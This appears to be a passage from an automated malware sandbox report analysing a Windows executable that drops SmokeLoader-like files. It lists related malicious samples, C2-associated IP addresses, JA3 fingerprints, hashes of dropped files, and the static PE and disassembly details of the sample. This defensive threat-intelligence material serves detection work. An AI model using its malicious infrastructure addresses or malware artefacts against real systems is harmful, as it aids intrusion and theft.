	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.162
MT-MPLSMA	na.elf	Get hash	malicious	Unknown	Browse	41.248.235.172
	na.elf	Get hash	malicious	Unknown	Browse	196.65.0.116
	na.elf	Get hash	malicious	Unknown	Browse	196.206.229.117
	2qWIvXORVU.elf	Get hash	malicious	Mirai, Moobot	Browse	41.248.235.198
	ZEjcJZcrXc.elf	Get hash	malicious	Mirai	Browse	105.156.46.188
	na.elf	Get hash	malicious	Mirai	Browse	196.217.151.19
	na.elf	Get hash	malicious	Mirai	Browse	41.248.235.169
	na.elf	Get hash	malicious	Mirai	Browse	41.143.204.148
	na.elf	Get hash	malicious	Mirai	Browse	41.248.235.163
	na.elf	Get hash	malicious	Mirai	Browse	41.140.123.123
EPMTelecomunicacionesSAESPCO	na.elf	Get hash	malicious	Unknown	Browse	200.30.80.193
	reswnop.exe	Get hash	malicious	Emotet	Browse	201.184.105.242
	970Qh1XiFt.elf	Get hash	malicious	Mirai, Okiru	Browse	190.250.243.68
	MOfHb44mph.elf	Get hash	malicious	Unknown	Browse	190.71.251.29
	novo.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	190.70.75.28
	SecuriteInfo.com.Linux.Siggen.9999.28931.8128.elf	Get hash	malicious	Mirai	Browse	190.71.250.128
	SecuriteInfo.com.Linux.Siggen.9999.30976.5557.elf	Get hash	malicious	Mirai	Browse	191.98.118.7
	file.exe	Get hash	malicious	SmokeLoader	Browse	190.249.193.233
	7fi7NmSbkN.elf	Get hash	malicious	Mirai	Browse	201.233.90.1
	SecuriteInfo.com.Linux.Siggen.9999.1529.24643.elf	Get hash	malicious	Unknown	Browse	190.250.218.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
72a589da586844d7f0818ce684948eea	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	BzLGqYKy7o.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	UV2uLdRZix.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	wu5C20dPdy.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	HaPJ2rPP6w.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
	c7v62g0YpB.exe	Get hash	malicious	SmokeLoader	Browse	23.145.40.164
a0e9f5d64349fb13191bc781f81f42e1	PWGen_[2MB]_[unsign].exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	Y1ZqkGzvKm.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.145.40.168
	Y1ZqkGzvKm.exe	Get hash	malicious	VIP Keylogger	Browse	23.145.40.168
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	23.145.40.168
	EY10AIvC8B.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	23.145.40.168
	file.exe	Get hash	malicious	LummaC	Browse	23.145.40.168
	15PylGQjzK.exe	Get hash	malicious	LummaC, Vidar	Browse	23.145.40.168
	Ji7kZhlqxz.exe	Get hash	malicious	LummaC, Vidar	Browse	23.145.40.168

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\8CAE.exe	5zA3mXMdtG.exe	Get hash	malicious	SmokeLoader	Browse
	Lk9rbSoFqa.exe	Get hash	malicious	SmokeLoader	Browse
	ctMI3TYXpX.exe	Get hash	malicious	SmokeLoader	Browse
	bCnarg2O62.exe	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\8C4C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8C4C.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8CAE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	78336
Entropy (8bit):	6.394001797252911
Encrypted:	false
SSDEEP:	768:WPQkadQWo2lXlxiK/0PJMQ2VGhm9EGFDe8MRDiNfYg9TQRkAuHi5yvaIoFVr1VML:NBfdSKvVwDEhAuBhoL/MnJ0iXD46w0
MD5:	65AEAA0A0849CB3CE9BC15BCBF0B7B9F
SHA1:	BA7888FFDB978851F38C4CAC82D58D8CD9A6F077
SHA-256:	B139090C797214F88A2EA451289AB670000936C413CD2CD45AAA9895C78C63B5
SHA-512:	938CE106217E9CE98F104AF0913054070C2CC5791DFAA9902540CAEF923579B8DE0AF0ED720753BC40ADC75D7E286ACCDE7198315805331F25BE3F312C23F0BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Joe Sandbox View:	Filename: 5zA3mXMdtG.exe, Detection: malicious, Browse Filename: Lk9rbSoFqa.exe, Detection: malicious, Browse Filename: ctMI3TYXpX.exe, Detection: malicious, Browse Filename: bCnarg2O62.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v....................................b......b......b......Rich............PE..d......f.........."..........>.................@.............................p............`..................................................(...............P...............`.......................................................................................text...x........................... ..`.rdata...&.......(..................@..@.data...h....@......................@....pdata.......P......."..............@..@.reloc.......`.......0..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\916D.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9690.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\97BA.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\98A5.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9A0D.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9B47.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9C13.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DE97.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	6.055975880815965
Encrypted:	false
SSDEEP:	3072:1vLecAXtCbb5O4Lfakg4sN5ISItt0b+U+lKs:1vLecStCf3t0Itt0b+U+o
MD5:	1096F19319B5C475C2A12B8D0CC4022D
SHA1:	B4C8061E0A04228F1297A5EA195CA02C935EDB4F
SHA-256:	DABFC65A7EF9104855F59A62E81B907AD148BDD177EABAADE320F7207D70DE35
SHA-512:	CE57012E7F28214C788A44A9DA2AC0A2B0B2125C089191E1C843619D1058D251AC220B28CF9BA17E4E66EEE406834F3879A4183555AD0F5F52EF2510EC1AA873
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z..V...V...V...HIt.O...HIe.F...HIs.....q..U...V...8...HIz.W...HId.W...HIa.W...RichV...................PE..L.....Qe.................P..........g........`....@..........................P...............................................w..(....`..@...................................................0t.......................`..\|............................text....N.......P.................. ..`.rdata.......`... ...T..............@..@.data...\|............t..............@....yig.........0......................@....tls.........@......................@....jetax.......P......................@....rsrc...@....`......................@..@................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fftwvdb

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	290443
Entropy (8bit):	7.999438652934672
Encrypted:	true
SSDEEP:	6144:jpr6nV5QzlKT57kU9EehxB/zGaa5ZweDYFacnO2k8HBZ9NSYCd:jprYK8RREe9/zA5ZRDYFdnPkEdAYC
MD5:	BDCB30CAAB400F7D6F01ECED315C1B2D
SHA1:	B5AA581614F4FE7A90A4E8FC7F5FE6AFB417AAE6
SHA-256:	5D6544C016179556378E3944214E426916F41733E3B5EC68126ED358C7154D5B
SHA-512:	46511F990ED9A49C3D212881FC3E9D5E9EA5F1F60235EA360201A79D3188F2D5DA96AE595FF2A13C147A17BC0D2A9A173FA9A4908FBFDA4F28F9EB42F2A6CC22
Malicious:	false
Preview:	#.M..n.?........$T.S{H.....Y!..x9.m.A.+.M.;_..:.d.......ZW..\.v...1_.E..S.bG.N.......\...../.23...040..995..u:2.(.\.p...q....qE.]1L......1..#Y8....n..$<3Z..:.Xr...\. }.<<..\|e..#.....' ......"........n.B.2.........$IzFn<. f.P\|!>.?2......H/N..U.H.`.v.M....WY.....[...Y..>.v..(..au.X...j./.F\.....,N..,-w.R.d.X....1:H(G.#Ai...W.)IV.f.~..d8.e......L.....jw..5.He.......b[..:..\|.-.C0n..x......&..@...'`.=.mK..........J...Z..3.....f.M7t.../&xe.y.>.@..\|.+q....,.Zb...LST...t&rh...oi!e...Pm...}.!A..6..7:.(.c..8....>..v.6.q8...3..#;n.$....'._.>6..t.T..]y.!.<~<.m.{....4_...6$D.h.3o....h.5.. ......2.t.. ...u...x.U.........4L_..OX.W.\uJ..=.e&.f...l.. H5.+l.M...2....y..4P.lJH...6]D.v.F@.f.....P...8w..p._....4.%'B.Z....{P..{...=..n.....x[{....ffsYk #..d..d.'...}.0.l..n.!..>u.m..a.2....l.w......\..g/.....^f...{. ..k8.F9q.).........$....CPw....%...![.o8....`.8.Q..`Y..~..~.>.2....7..G..N...u[..2..A..._\|.!z..({...........N.het.T.....w!...~.f.kA.e....%......../..h..<..n

C:\Users\user\AppData\Roaming\jvgasii

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223744
Entropy (8bit):	6.447332857021577
Encrypted:	false
SSDEEP:	3072:niLgkcGSeF56oQ1dHVAFF4Gu5JxVSlh+VkbOp:niL3cGSfoQ1nAFFGVkCp
MD5:	2942CB9FCA04E939AF4ED1EEF717E123
SHA1:	1BC59CA5E75F717DCD23B73634910B35314BCDEE
SHA-256:	A76320BF90703F6591B6EC9A66522652C04EA3D87ED57F906CF0F8DB209CB4C3
SHA-512:	3A3A4C8914A0438EC30E0F8AA60B8373452B25BF48162A29BCD3803E4184E080965A2C244E5BD6793055DE3C031036658793EC5A1D890845A834EC0AB2DAE0B9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L.....e.....................d....................@..................................R......................................D...P....`.....................................................X........................................................text..._........................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........P......................@....rsrc.......`......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jvgasii:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\uegasii

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	6.055975880815965
Encrypted:	false
SSDEEP:	3072:1vLecAXtCbb5O4Lfakg4sN5ISItt0b+U+lKs:1vLecStCf3t0Itt0b+U+o
MD5:	1096F19319B5C475C2A12B8D0CC4022D
SHA1:	B4C8061E0A04228F1297A5EA195CA02C935EDB4F
SHA-256:	DABFC65A7EF9104855F59A62E81B907AD148BDD177EABAADE320F7207D70DE35
SHA-512:	CE57012E7F28214C788A44A9DA2AC0A2B0B2125C089191E1C843619D1058D251AC220B28CF9BA17E4E66EEE406834F3879A4183555AD0F5F52EF2510EC1AA873
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z..V...V...V...HIt.O...HIe.F...HIs.....q..U...V...8...HIz.W...HId.W...HIa.W...RichV...................PE..L.....Qe.................P..........g........`....@..........................P...............................................w..(....`..@...................................................0t.......................`..\|............................text....N.......P.................. ..`.rdata.......`... ...T..............@..@.data...\|............t..............@....yig.........0......................@....tls.........@......................@....jetax.......P......................@....rsrc...@....`......................@..@................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.447332857021577
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	O4zPA1oI9Y.exe
File size:	223'744 bytes
MD5:	2942cb9fca04e939af4ed1eef717e123
SHA1:	1bc59ca5e75f717dcd23b73634910b35314bcdee
SHA256:	a76320bf90703f6591b6ec9a66522652c04ea3d87ed57f906cf0f8db209cb4c3
SHA512:	3a3a4c8914a0438ec30e0f8aa60b8373452b25bf48162a29bcd3803e4184e080965a2c244e5bd6793055de3c031036658793ec5a1d890845a834ec0ab2dae0b9
SSDEEP:	3072:niLgkcGSeF56oQ1dHVAFF4Gu5JxVSlh+VkbOp:niL3cGSfoQ1nAFFGVkCp
TLSH:	D7245A017AF19026EFBB4B75197096942E3BBCF26A7081DE3144361F99733D399A1363
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L......e...

File Icon


Icon Hash:	17694db2b24d2117

Static PE Info

General

Entrypoint:	0x401716
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6598C400 [Sat Jan 6 03:07:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	7529a394fc2aae97d1d4dcd49f0468b5

Entrypoint Preview

Instruction
call 00007F91FCF32F2Ch
jmp 00007F91FCF2F04Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [0041E888h], eax
mov dword ptr [0041E884h], ecx
mov dword ptr [0041E880h], edx
mov dword ptr [0041E87Ch], ebx
mov dword ptr [0041E878h], esi
mov dword ptr [0041E874h], edi
mov word ptr [0041E8A0h], ss
mov word ptr [0041E894h], cs
mov word ptr [0041E870h], ds
mov word ptr [0041E86Ch], es
mov word ptr [0041E868h], fs
mov word ptr [0041E864h], gs
pushfd
pop dword ptr [0041E898h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0041E88Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [0041E890h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0041E89Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [0041E7D8h], 00010001h
mov eax, dword ptr [0041E890h]
mov dword ptr [0041E78Ch], eax
mov dword ptr [0041E780h], C0000409h
mov dword ptr [0041E784h], 00000001h
mov eax, dword ptr [0041D008h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0041D00Ch]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000D4h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1b744	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x116000	0x1a1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1b458	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1a000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1825f	0x18400	ccffbd60daae297a16e5605ecdf8b1b9	False	0.791881443298969	data	7.491043543257427	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1a000	0x2022	0x2200	bd2aeb775d2212e7e850380796bfcf7c	False	0.35558363970588236	data	5.419783316224275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d000	0xf7ff8	0x1800	194bf695db6178974b2a814107547425	False	0.2591145833333333	data	2.6738567633681227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x115000	0x51d	0x600	53e979547d8c2ea86560ac45de08ae25	False	0.013020833333333334	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x116000	0x1a1e0	0x1a200	08eda3433f9130009b997d2b9c82f726	False	0.44921875	data	5.223261219518492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x128d08	0x2	data			5.0
ROCOCUPACOZODACAJAJ	0x127d10	0xbf7	ASCII text, with very long lines (3063), with no line terminators	Turkish	Turkey	0.6010447273914463
SUZIZOXALIDEVODUGIDUVOJAPIPUCOFA	0x128908	0x3fa	ASCII text, with very long lines (1018), with no line terminators	Turkish	Turkey	0.6267190569744597
RT_CURSOR	0x128d10	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.7368421052631579
RT_CURSOR	0x128e40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.06130705394190871
RT_ICON	0x116a20	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.5748933901918977
RT_ICON	0x1178c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.6484657039711191
RT_ICON	0x118170	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.6981566820276498
RT_ICON	0x118838	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.7536127167630058
